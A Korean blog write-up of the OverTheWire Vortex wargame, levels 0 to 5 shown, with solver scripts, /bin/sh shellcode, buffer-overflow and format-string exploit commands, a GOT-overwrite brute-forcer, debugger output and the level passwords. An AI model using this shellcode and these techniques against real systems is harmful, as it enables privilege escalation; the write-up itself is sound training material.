최상단

컨텐츠

overthewire vortex. Level 1 ~ 14.

글 정보

Category
WarGame/OverTheWire
2013. 11. 27. 10:07

본문

예전에 공부하면서 대충 끄적였던 자료입니다.

BOF원정대를 먼저 풀고 이걸 봤어야했는데... 처음부터 이걸 먼저 푸는 바람에 삽질이 좀 많았다는...

vortex 는..문제도 문제지만.............디버깅 환경이 참 ㅈㄹ같다는..ㅎㅎㅎ 

별 도움이 안될수도 있지만. 그래도 . 올림-..

사실은 백업용.ㅋㅋㅋㅋ


14번까지 꾸역꾸역 풀었네요...;-0-.15번은 md5 충돌문제였나..풀다가 포기한 기억이;;ㅠ


===========================================================================================


[+] Level 0


import socket

from struct import *


HOST = "vortex.labs.overthewire.org"

PORT = 5842


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


lsum = 0

s.connect((HOST, PORT))


for ii in range(0,4):

  rdata = s.recv(4)

  print len(rdata)

  unpackdata = unpack('I',rdata)

  print unpackdata

  lsum += int(unpackdata[0])


packdata = pack("I", lsum)

s.send(packdata)

print "Send Data "

rdata = s.recv(100)

print rdata

s.close()


# Username: vortex1 Password: Gq#qu3bF3


[+] Level 1



01 #include <stdlib.h>

02 #include <unistd.h>

03 #include <string.h>

04 #include <stdio.h>

05

06

07 #define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

08

09 void print(unsigned char *buf, int len)

10 {

11         int i;

12

13         printf("[ ");

14         for(i=0; i < len; i++) printf("%x ", buf[i]);

15         printf(" ]\n");

16 }

17

18 int main()

19 {

20         unsigned char buf[512];

21         unsigned char *ptr = buf + (sizeof(buf)/2);

22         unsigned int x;

23

24         while((x = getchar()) != EOF) {

25                 switch(x) {

26                         case '\n': print(buf, sizeof(buf)); continue; break;

27                         case '\\': ptr--; break;

28                         default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;

29                 }

30         }

31         printf("All done\n");

32 }



(gdb) disassemble main

Dump of assembler code for function main:

   0x08048557 <+0>:     push   %ebp

   0x08048558 <+1>:     mov    %esp,%ebp

   0x0804855a <+3>:     and    $0xfffffff0,%esp

   0x0804855d <+6>:     push   %esi

   0x0804855e <+7>:     push   %ebx

   0x0804855f <+8>:     sub    $0x228,%esp

   0x08048565 <+14>:    mov    %gs:0x14,%eax

   0x0804856b <+20>:    mov    %eax,0x21c(%esp)

   0x08048572 <+27>:    xor    %eax,%eax

   0x08048574 <+29>:    lea    0x1c(%esp),%eax

   0x08048578 <+33>:    add    $0x100,%eax

   0x0804857d <+38>:    mov    %eax,0x18(%esp)

   0x08048581 <+42>:    jmp    0x8048625 <main+206>

   0x08048586 <+47>:    mov    0x14(%esp),%eax

   0x0804858a <+51>:    cmp    $0xa,%eax

   0x0804858d <+54>:    je     0x8048596 <main+63>

   0x0804858f <+56>:    cmp    $0x5c,%eax

   0x08048592 <+59>:    je     0x80485ac <main+85>

   0x08048594 <+61>:    jmp    0x80485b3 <main+92>

   0x08048596 <+63>:    movl   $0x200,0x4(%esp)

   0x0804859e <+71>:    lea    0x1c(%esp),%eax

   0x080485a2 <+75>:    mov    %eax,(%esp)

   0x080485a5 <+78>:    call   0x8048504 <print>

   0x080485aa <+83>:    jmp    0x8048625 <main+206>

   0x080485ac <+85>:    subl   $0x1,0x18(%esp)

   0x080485b1 <+90>:    jmp    0x8048625 <main+206>

   0x080485b3 <+92>:    mov    0x18(%esp),%eax

   0x080485b7 <+96>:    and    $0xff000000,%eax

   0x080485bc <+101>:   cmp    $0xca000000,%eax

   0x080485c1 <+106>:   jne    0x8048602 <main+171>

   0x080485c3 <+108>:   call   0x8048440 <geteuid@plt>

   0x080485c8 <+113>:   mov    %eax,%esi

   0x080485ca <+115>:   call   0x8048440 <geteuid@plt>

   0x080485cf <+120>:   mov    %eax,%ebx

   0x080485d1 <+122>:   call   0x8048440 <geteuid@plt>

   0x080485d6 <+127>:   mov    %esi,0x8(%esp)

   0x080485da <+131>:   mov    %ebx,0x4(%esp)

   0x080485de <+135>:   mov    %eax,(%esp)

   0x080485e1 <+138>:   call   0x80483f0 <setresuid@plt>

   0x080485e6 <+143>:   movl   $0x0,0x8(%esp)

   0x080485ee <+151>:   movl   $0x804873a,0x4(%esp)

   0x080485f6 <+159>:   movl   $0x804873d,(%esp)

   0x080485fd <+166>:   call   0x8048400 <execlp@plt>

   0x08048602 <+171>:   lea    0x1c(%esp),%eax

   0x08048606 <+175>:   add    $0x200,%eax

   0x0804860b <+180>:   cmp    0x18(%esp),%eax

   0x0804860f <+184>:   jb     0x8048624 <main+205>

   0x08048611 <+186>:   mov    0x14(%esp),%eax

   0x08048615 <+190>:   mov    %eax,%edx

   0x08048617 <+192>:   mov    0x18(%esp),%eax

   0x0804861b <+196>:   mov    %dl,(%eax)

   0x0804861d <+198>:   addl   $0x1,0x18(%esp)

   0x08048622 <+203>:   jmp    0x8048625 <main+206>

   0x08048624 <+205>:   nop

   0x08048625 <+206>:   call   0x80483c0 <getchar@plt>

   0x0804862a <+211>:   mov    %eax,0x14(%esp)

   0x0804862e <+215>:   cmpl   $0xffffffff,0x14(%esp)

   0x08048633 <+220>:   jne    0x8048586 <main+47>

   0x08048639 <+226>:   movl   $0x8048745,(%esp)

   0x08048640 <+233>:   call   0x8048430 <puts@plt>

   0x08048645 <+238>:   mov    $0x0,%eax

   0x0804864a <+243>:   mov    0x21c(%esp),%edx

   0x08048651 <+250>:   xor    %gs:0x14,%edx

   0x08048658 <+257>:   je     0x804865f <main+264>

   0x0804865a <+259>:   call   0x8048420 <__stack_chk_fail@plt>

   0x0804865f <+264>:   add    $0x228,%esp

   0x08048665 <+270>:   pop    %ebx

   0x08048666 <+271>:   pop    %esi

   0x08048667 <+272>:   mov    %ebp,%esp

   0x08048669 <+274>:   pop    %ebp

   0x0804866a <+275>:   ret   

End of assembler dump.



[4 x 0x!!000000][4 ptr][512 buf]

  = esp - 0x14   0x18   0x1c ..... 256 

256+4


512 / 2 = 256


asm code를 보면 esp를 552만큼 뺀다.

256+40


(perl -e '{print "\\"x257,"\xca"}';cat) | /vortex/vortex1



cat /etc/vortex_pass/vortex2

23anbT\rE


[+] Level 2

  - id : vortex2

  - Password : 23anbT\rE

tar 파일명에 $$가 들어가는데 이 문자열을 쉘에서 실행시키면 pid로 변환됨. 이를 변환되지 않도록 \$\$로 접근해서

tar xvfO 옵션을 사용하여 stdout에 파일의 내용을 출력한다.



[+] Level 3

  - id : vortex3

  - Password : 64ncXTvx#


  objdump -h /vortex/vortex3

  17 .dtors        00000008  0804953c  0804953c  0000053c  2**2

                   CONTENTS, ALLOC, LOAD, DATA


1 /*

2  * 0xbadc0ded.org Challenge #02 (2003-07-08)

3  *

4  * Joel Eriksson <je@0xbadc0ded.org>

5  */

6

7

8 #include <string.h>

9 #include <stdlib.h>

10 #include <stdio.h>

11

12 unsigned long val = 31337;

13 unsigned long *lp = &val;

14

15 int main(int argc, char **argv)

16 {

17         unsigned long **lpp = &lp, *tmp;

18         char buf[128];

19

20         if (argc != 2)

21                 exit(1);

22

23         strcpy(buf, argv[1]);

24

25         if (((unsigned long) lpp & 0xffff0000) != 0x08040000)

26                 exit(2);

27

28         tmp = *lpp;

29         **lpp = (unsigned long) &buf;

30         *lpp = tmp;

31

32         exit(0);

33 }


(gdb) disassemble main

Dump of assembler code for function main:

   0x080483d4 <+0>:     push   %ebp

   0x080483d5 <+1>:     mov    %esp,%ebp

   0x080483d7 <+3>:     and    $0xfffffff0,%esp

   0x080483da <+6>:     sub    $0xa0,%esp

   0x080483e0 <+12>:    movl   $0x804963c,0x9c(%esp)

   0x080483eb <+23>:    cmpl   $0x2,0x8(%ebp)

   0x080483ef <+27>:    je     0x80483fd <main+41>

   0x080483f1 <+29>:    movl   $0x1,(%esp)

   0x080483f8 <+36>:    call   0x8048304 <exit@plt>

   0x080483fd <+41>:    mov    0xc(%ebp),%eax

   0x08048400 <+44>:    add    $0x4,%eax

   0x08048403 <+47>:    mov    (%eax),%eax

   0x08048405 <+49>:    mov    %eax,0x4(%esp)

   0x08048409 <+53>:    lea    0x18(%esp),%eax

   0x0804840d <+57>:    mov    %eax,(%esp)

   0x08048410 <+60>:    call   0x80482f4 <strcpy@plt>

   0x08048415 <+65>:    mov    0x9c(%esp),%eax

   0x0804841c <+72>:    mov    $0x0,%ax

   0x08048420 <+76>:    cmp    $0x8040000,%eax

   0x08048425 <+81>:    je     0x8048433 <main+95>

   0x08048427 <+83>:    movl   $0x2,(%esp)

   0x0804842e <+90>:    call   0x8048304 <exit@plt>

   0x08048433 <+95>:    mov    0x9c(%esp),%eax

   0x0804843a <+102>:   mov    (%eax),%eax

   0x0804843c <+104>:   mov    %eax,0x98(%esp)

   0x08048443 <+111>:   mov    0x9c(%esp),%eax

   0x0804844a <+118>:   mov    (%eax),%eax

   0x0804844c <+120>:   lea    0x18(%esp),%edx

   0x08048450 <+124>:   mov    %edx,(%eax)

   0x08048452 <+126>:   mov    0x9c(%esp),%eax

   0x08048459 <+133>:   mov    0x98(%esp),%edx

   0x08048460 <+140>:   mov    %edx,(%eax)

   0x08048462 <+142>:   movl   $0x0,(%esp)

   0x08048469 <+149>:   call   0x8048304 <exit@plt>

End of assembler dump.


Sections:

Idx Name          Size      VMA       LMA       File off  Algn

  0 .interp       00000013  08048114  08048114  00000114  2**0

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  1 .note.ABI-tag 00000020  08048128  08048128  00000128  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  2 .note.gnu.build-id 00000024  08048148  08048148  00000148  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  3 .gnu.hash     00000020  0804816c  0804816c  0000016c  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  4 .dynsym       00000060  0804818c  0804818c  0000018c  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  5 .dynstr       00000051  080481ec  080481ec  000001ec  2**0

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  6 .gnu.version  0000000c  0804823e  0804823e  0000023e  2**1

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  7 .gnu.version_r 00000020  0804824c  0804824c  0000024c  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  8 .rel.dyn      00000008  0804826c  0804826c  0000026c  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  9 .rel.plt      00000020  08048274  08048274  00000274  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

10 .init         00000030  08048294  08048294  00000294  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, CODE

11 .plt          00000050  080482c4  080482c4  000002c4  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, CODE

12 .text         000001ec  08048320  08048320  00000320  2**4

                  CONTENTS, ALLOC, LOAD, READONLY, CODE

13 .fini         0000001c  0804850c  0804850c  0000050c  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, CODE

14 .rodata       00000008  08048528  08048528  00000528  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

15 .eh_frame     00000004  08048530  08048530  00000530  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

16 .ctors        00000008  08049534  08049534  00000534  2**2

                  CONTENTS, ALLOC, LOAD, DATA

17 .dtors        00000008  0804953c  0804953c  0000053c  2**2

                  CONTENTS, ALLOC, LOAD, DATA

18 .jcr          00000004  08049544  08049544  00000544  2**2

                  CONTENTS, ALLOC, LOAD, DATA

19 .dynamic      000000c8  08049548  08049548  00000548  2**2

                  CONTENTS, ALLOC, LOAD, DATA

20 .got          00000004  08049610  08049610  00000610  2**2

                  CONTENTS, ALLOC, LOAD, DATA

21 .got.plt      0000001c  08049614  08049614  00000614  2**2

                  CONTENTS, ALLOC, LOAD, DATA

22 .data         00000010  08049630  08049630  00000630  2**2

                  CONTENTS, ALLOC, LOAD, DATA

23 .bss          00000008  08049640  08049640  00000640  2**2

                  ALLOC

24 .comment      00000054  00000000  00000000  00000640  2**0

                  CONTENTS, READONLY


shellcode : "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh;"

16*3+6+8

48+14=62


/vortex/vortex3 `perl -e '{print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh;","A"x62, "\x40\x95\x04\x08", "A"x4, "\x8c\x92\x04\x08"}'`



31337 = 7A69  // 7A는 JP (Jump If Parity)의 OpCode인데 이를 활용할 수 있는 방법은 없을까?..



val의 address = 0x08049638

lp = 다음이겠지?-_-;  0x0804963C


argv = 0xffffd892


0xffffd98e

buf address = 0xffffd688



결국엔 bruteforce를 하기로 결정..;

인터넷을 찾아보니 예전에는 내가 원래 생각했던(dtors+4 값을 가리키는 주소를 찾아 lpp에 넣는 방법)으로 예전엔 풀었던 것 같다.

그런데, 최근에 이러한 방법들이 막히면서 문제가 변경된것 같다..

bruteforce로 돌리려고 python으로 스크립트를 짰는데 python을 잘 모르는 관계로-_-...

계속 삽질하다가 결국 인터넷에 있는 코드를 참조. ;; (파이썬 공부 해야겠다..;;)

다 짜고 보니 결국에 참조한건 %를 사용해서 대입하는 방법뿐이긴하네-_-;



#!/usr/bin/python


import os

import commands

import string

from subprocess import call

import subprocess


for i in range(1,256) :

        for j in range(1,256) :

                str = "`perl -e '{print \"\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x31\\xc0\\xb0\\x46\\xcd\\x80\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh;\",\"A\"x62, \"\\x40\\x95\\x04\\x08\", \"A\"x4, \"\\x%02x\\x%02x\\x04\\x08\"}'`" % ( i, j)

                print "Try Addreess : " + "\\x%02x\\x%02x" % (i, j)

                os.system("/vortex/vortex3 " + str)



0101~ffff까지 돌리면 총 3개의 쉘이 뜬다.


\x06\x93

\x8c\x92

\xcc\x92



Try Addreess : \x8c\x92

$ id

uid=5004(vortex4) gid=5003(vortex3) groups=5004(vortex4),5003(vortex3)

$ cat /etc/vortex_pass/vortex4

2YmgK1=jw

$


3개중 하나만 일단 보면. GOT를 바꿔서 쉘코드가 실행되도록 하는 방법이다.

흠...새로운걸 하나 배웠다...ㅋㅋ


(gdb) x/x 0x0804928c

0x804928c:      0x0804962c

(gdb) x/x 0x0804962c

0x804962c <_GLOBAL_OFFSET_TABLE_+24>:   0x0804830a

(gdb)


결국엔 dtors를 변경하는게 아니라, GOT에서 exit를 변경?


vortex4@melissa:~$ objdump --dynamic-reloc /vortex/vortex3


/vortex/vortex3:     file format elf32-i386


DYNAMIC RELOCATION RECORDS

OFFSET   TYPE              VALUE

08049610 R_386_GLOB_DAT    __gmon_start__

08049620 R_386_JUMP_SLOT   __gmon_start__

08049624 R_386_JUMP_SLOT   __libc_start_main

08049628 R_386_JUMP_SLOT   strcpy

0804962c R_386_JUMP_SLOT   exit


0x08049306과 0x0804928c는 exit의 GOT를 변경하는 방법이고,

0x080492cc는 모르겠다;;

Reference :

* http://x82.inetcop.org/h0me/papers/FC_exploit/another_overwrite.txt



[+] Level 4

  - id : vortex4

  - Password: 2YmgK1=jw



1 // -- andrewg, original author was zen-parse :)

2 #include <stdlib.h>

3

4

5 int main(int argc, char **argv)

6 {

7         if(argc) exit(0);

8         printf(argv[3]);

9         exit(EXIT_FAILURE);

10 }



= loader =

#include <stdio.h>


char shellcode[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";


int main(int argc, char *argv[])

{

        char *envc[] = {NULL};

        char *envp[4] = {"ABC",0,0, };


        envp[1] =shellcode;

        envp[2] =argv[1];


        execve("/vortex/vortex4", envc, envp);

        return 0;

}


Format String 취약점을 이용하는 문제이다. 거기에 플러스 argc를 속이는 방법까지 추가.


119번째 나온다;


17 .dtors        00000008  08049f1c  08049f1c  00000f1c  2**2

                  CONTENTS, ALLOC, LOAD, DATA


vortex4@melissa:/tmp$ ./hhcc  

AAAA f7feed80 0804843b f7fd2ff4 08048430 00000000 ffffd708 f7e89e37 00000000 ffffd734

ffffd738 f7fdf420 ffffffff f7ffcff4 08048241 00000001 ffffd6f0 f7fedd61 f7ffdad0f7fd72e8

00000001 f7fd2ff4 00000000 00000000 ffffd708 639df0a3 4d0b28b3 00000000 00000000 00000000

00000000 08048340 00000000 f7ff3f70 f7e89d5b f7ffcff4 0000000008048340 00000000 08048361

080483f4 00000000 ffffd734 08048430 08048490 f7feed80 ffffd72c f7ffd918 00000000 00000000

ffffd818 ffffd81e ffffd824 ffffdfd0 ffffdfe600000000 00000020 f7fdf420 00000021 f7fdf000

00000010 17898175 00000006 00001000 00000011 00000064 00000003 08048034 00000004 00000020

00000005 00000008 00000007f7fe0000 00000008 00000000 00000009 08048340 0000000b 0000138c

0000000c 0000138d 0000000d 0000138c 0000000e 0000138c 00000017 00000001 00000019 ffffd7fb

0000001fffffdfe8 0000000f ffffd80b 00000000 00000000 00000000 00000000 68000000 686aa89c

2bae4e18 c4660c94 697bd8b6 00363836 00000000 00000000 43424130 41310044 0044434241414141

38302520 30252078 25207838 20783830 78383025 38302520 30252078 25207838 20783830 78383025

....




문자열 955.


0xffffe191


rip            0xf7eb7906


gcc hcegg.c -o hcegg -m32 -fno-stack-protector -Wl,-z,norelro

gcc hhcc.c -o hhcc -m32 -fno-stack-protector -Wl,-z,norelro


execstack filename -> stack에서 실행가능하도록..


./hhcc `perl -e '{print "AAAABBBB", "%08x"x105}'`


./hhcc "`perl -e '{print "AAAA\x20\x9f\x04\x08BBBB\x22\x9f\x04\x08", "%08x"x101,"%100u%hn%100u%hn"}'`"

./hhcc "`perl -e '{print "AAAA\x20\x9f\x04\x08BBBB\x22\x9f\x04\x0811", "%08x"x102,"%100u%hx%100u%hx"}'`"


./hhcc "`perl -e '{print "AAAA\x20\x9f\x04\x08BBBB\x22\x9f\x04\x0812", "%08x "x101,"     "x4,"%100u%hn%100u%hn}'`"



./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x1,"%52214u%hn%12393u%hn"}'`"

./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x2,"%52214u%0x%12393u%0x"}'`"


./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x22,"%52214c%n%12393u%n"}'`"

./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x18,"%52214u%x%12393u%x"}'`"

./hhcc "`perl -e '{print "x91\xe1\xff\xff\x91\xe1\xff\xffBBBB\x20\x9f\x04\x0812", "%08x "x101," "x18,"%52214c%n%12393u%n"}'`"


./hhcc "`perl -e '{print "AAAA\x0c\xa0\x04\x08BBBB\x0e\xa0\x04\x08AA", "%08x "x119," "x111,"%55412u%hn"," "x0,"%10123u%hn"}'`"


./hhcc "`perl -e '{print "AAAACCCCBBBBDDDDAA", "%08x "x119," "x111,"%55573u%0x"," "x0,"%9962u%0x"}'`"

> /dev/null

./hhcc "`perl -e '{print "AAAA\x20\x9f\x04\x08BBBB\x22\x9f\x04\x08AA", "%08x "x101," "x112,"%52104u%hn"," "x87,"%13351u%hn"}'`"



0xffffdd24

119*9 1071


0xffffcf97


Addr = 0xffffcf96


cf96 = 53142 - 18 - 9*101 - 18 = 52124

ffff = 65535 - 53142 = 13411



./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x12,"%52214c%n%12393u%n"}'`"

./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x13,"%52214c%n%12393u%n"}'`"

./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x14,"%52214c%n%12393u%n"}'`"

./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x15,"%52214c%n%12393u%n"}'`"

./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x16,"%52214c%n%12393u%n"}'`"

./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x17,"%52214c%n%12393u%n"}'`"

./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x18,"%52214c%n%12393u%n"}'`"

./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x19,"%52214c%n%12393u%n"}'`"

./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x20,"%52214c%n%12393u%n"}'`"

./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x21,"%52214c%n%12393u%n"}'`"

./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x22,"%52214c%n%12393u%n"}'`"

./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x23,"%52214c%n%12393u%n"}'`"

./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x24,"%52214c%n%12393u%n"}'`"

./hhcc "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x25,"%52214c%n%12393u%n"}'`"

./loader "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x0812", "%08x "x101," "x26,"%52214c%x%12393c%x"}'`"



./loader "`perl -e '{print "\x22\x9f\x04\x08\x20\x9f\x04\x08", "%08x "x201," "x10}'`"


./loader "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x08", "%08x "x200,"%52214x%0x%12393x%0x", " "x7}'`"


./loader "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x08", "%08x "x200,"%55048x%hn%10487x%hn", " "x7}'`"


./loader "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x08", "%08x "x200,"%055048x%n%010487x%n", " "x7}'`"


./loader "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x08", "%08x "x200,"%000008x%n%000008x%n", " "x7}'`"



./loader "`perl -e '{print "AAAA\x22\x9f\x04\x08BBBB\x20\x9f\x04\x08", "%08x "x200,"%55048x%hn%10487x%hn", " "x7}'`"


0xffffdb00

./loader "`perl -e '{print "AAAA\x0e\xa0\x04\x08BBBB\x0c\xa0\x04\x08", "%08x "x200,"%55048u%hn%19958u%hn", " "x7}'`"

eax            0x12c1d  76829

eip            0xde202c16       0xde202c16



==>> 성공!!

./loader "`perl -e '{print "AAAA\x0e\xa0\x04\x08BBBB\x0c\xa0\x04\x08", "%08x "x200,"%63719u%hn%56058u%hn", " "x7}'`"

eax            0x1532d  86829

eip            0x5305326        0x5305326



16 + 5*200



vortex4@melissa:/tmp/hclee$ objdump --dynamic-reloc /vortex/vortex4


/vortex/vortex4:     file format elf32-i386


DYNAMIC RELOCATION RECORDS

OFFSET   TYPE              VALUE

08049ff0 R_386_GLOB_DAT    __gmon_start__

0804a000 R_386_JUMP_SLOT   __gmon_start__

0804a004 R_386_JUMP_SLOT   __libc_start_main

0804a008 R_386_JUMP_SLOT   printf

0804a00c R_386_JUMP_SLOT   exit






[+] Level 5

  - id : vortex5

  - Password: :4VtbC4lr



MD5 Brute Force

A password is required for the next level. vortex5.c and md5.h. a-z,A-Z,0-9 is the search space. The password length is 5 chars long, it was originally 7 chars long.

Collision(s) tested : 489265082 in 217 second(s), 361 millisec, 101 microsec.

Average of 2250932.1 hashes/sec.

Code listing (vortex5.c)

  1 /* A tribute to arc :) */

  2

  3

  4 /*

  5 ** SQLite uses this code for testing only.  It is not a part of

  6 ** the SQLite library.  This file implements two new TCL commands

  7 ** "md5" and "md5file" that compute md5 checksums on arbitrary text

  8 ** and on complete files.  These commands are used by the "testfixture"

  9 ** program to help verify the correct operation of the SQLite library.

10 **

11 ** The original use of these TCL commands was to test the ROLLBACK

12 ** feature of SQLite.  First compute the MD5-checksum of the database.

13 ** Then make some changes but rollback the changes rather than commit

14 ** them.  Compute a second MD5-checksum of the file and verify that the

15 ** two checksums are the same.  Such is the original use of this code.

16 ** New uses may have been added since this comment was written.

17 */

18 /*

19  * This code implements the MD5 message-digest algorithm.

20  * The algorithm is due to Ron Rivest.  This code was

21  * written by Colin Plumb in 1993, no copyright is claimed.

22  * This code is in the public domain; do with it what you wish.

23  *

24  * Equivalent code is available from RSA Data Security, Inc.

25  * This code has been tested against that, and is equivalent,

26  * except that you don't need to include two pages of legalese

27  * with every copy.

28  *

29  * To compute the message digest of a chunk of bytes, declare an

30  * MD5Context structure, pass it to MD5Init, call MD5Update as

31  * needed on buffers full of bytes, and then call MD5Final, which

32  * will fill a supplied 16-byte array with the digest.

33  */

34

35 /*

36  * If compiled on a machine that doesn't have a 32-bit integer,

37  * you just set "uint32" to the appropriate datatype for an

38  * unsigned 32-bit integer.  For example:

39  *

40  *       cc -Duint32='unsigned long' md5.c

41  *

42  */

43 #ifndef uint32

44 #  define uint32 unsigned int

45 #endif

46

47 struct Context {

48   uint32 buf[4];

49   uint32 bits[2];

50   unsigned char in[64];

51 };

52 typedef char MD5Context[88];

53

54 /*

55  * Note: this code is harmless on little-endian machines.

56  */

57 static void byteReverse (unsigned char *buf, unsigned longs){

58         uint32 t;

59         do {

60                 t = (uint32)((unsigned)buf[3]<<8 | buf[2]) << 16 |

61                             ((unsigned)buf[1]<<8 | buf[0]);

62                 *(uint32 *)buf = t;

63                 buf += 4;

64         } while (--longs);

65 }

66 /* The four core functions - F1 is optimized somewhat */

67

68 /* #define F1(x, y, z) (x & y | ~x & z) */

69 #define F1(x, y, z) (z ^ (x & (y ^ z)))

70 #define F2(x, y, z) F1(z, x, y)

71 #define F3(x, y, z) (x ^ y ^ z)

72 #define F4(x, y, z) (y ^ (x | ~z))

73

